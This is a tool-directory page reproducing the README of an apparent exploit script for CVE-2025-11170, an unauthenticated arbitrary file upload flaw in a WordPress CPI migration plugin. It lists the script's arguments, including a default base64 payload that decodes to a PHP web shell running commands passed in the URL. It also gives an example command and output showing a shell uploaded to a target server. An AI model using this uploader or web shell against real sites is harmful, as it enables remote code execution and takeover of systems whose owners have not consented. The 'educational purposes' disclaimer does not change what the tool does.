Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/nxploited/cve-2025-11170
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubnxploited/cve-2025-11170

CVE-2025-11170

WP移行専用プラグイン for CPI <= 1.0.2 - Unauthenticated Arbitrary File Upload

View Repository
210 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-11170

WP移行専用プラグイン for CPI <= 1.0.2 - Unauthenticated Arbitrary File Upload

🚀 WP移行専用プラグイン for CPI <= 1.0.2 - Unauthenticated Arbitrary File Upload

📝 Description

The WP移行専用プラグイン for CPI plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the Cpiwm_Import_Controller::import function in all versions up to, and including, 1.0.2.
This allows unauthenticated attackers to upload arbitrary files to the affected site's server, potentially enabling remote code execution.

🛡️ Vulnerability Details

  • CVE: CVE-2025-11170
  • CVSS Score: 9.8 (Critical)
  • Attack Vector: Unauthenticated remote file upload

⚡ Script Info

  • Script Name: CVE-2025-11170.py
  • Purpose: Automated shell/file uploader exploit for vulnerable WordPress CPI migration plugin.

🔧 Usage

Arguments

ArgumentDescription
-u, --urlBase target URL (e.g., http://target.com/wordpress/). The script appends wp-admin/admin-ajax.php automatically.
-f, --filenameShell or file name to upload. Default: shell.php
-d, --dataFile content in base64 (or raw text). Default: PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
-i, --indexIndex field value. Default: 0
-H, --headersExtra HTTP headers (format: X-Key:Value;K2:Value2)
-t, --timeoutTimeout for HTTP request (seconds). Default: 10
--retriesNumber of retry attempts. Default: 3
--backoffBackoff factor between retries (seconds). Default: 0.7
-v, --verboseIncrease verbosity for debugging (repeatable)

🚦 Methods Explained

  • Nxploited_parse_args
    Parses and validates input arguments. Ensures the right endpoint structure, headers, and data encoding.

  • Nxploited_logging
    Sets up advanced logging and verbosity for a detailed or minimal runtime output.

  • Nxploited_retry_session
    Initializes a persistent session with retry and backoff logic for resilient communications.

  • Nxploited_build_payload
    Constructs the POST request parameters for exploitation.

  • Nxploited_send
    Performs the actual POST request to the vulnerable endpoint and manages responses/errors.

  • Nxploited_output_result
    Processes and formats the response, displaying shell path on success, or debugging info otherwise.


💡 Example Usage

python3 CVE-2025-11170.py -u "http://192.168.100.74:888/wordpress/" -f "shell.php"

Example Output:

Uploading shell...
Processing response...
[+] Upload successful!
Shell path:
http://192.168.100.74:888/wordpress/wp-content/plugins/cpi-wp-migration/storage/shell.php
Nxploited
My GitHub: https://github.com/Nxploited

🚨 Disclaimer

This script is provided for educational purposes only.
Usage of this exploit on targets without proper authorization may be illegal.
The author assumes NO responsibility for any misuse, damages, or legal consequences.


📢 Reach Me

GitHub: Nxploited
Telegram: KNxploited


By: Nxploited ( Khaled Alenazi )

Download Tool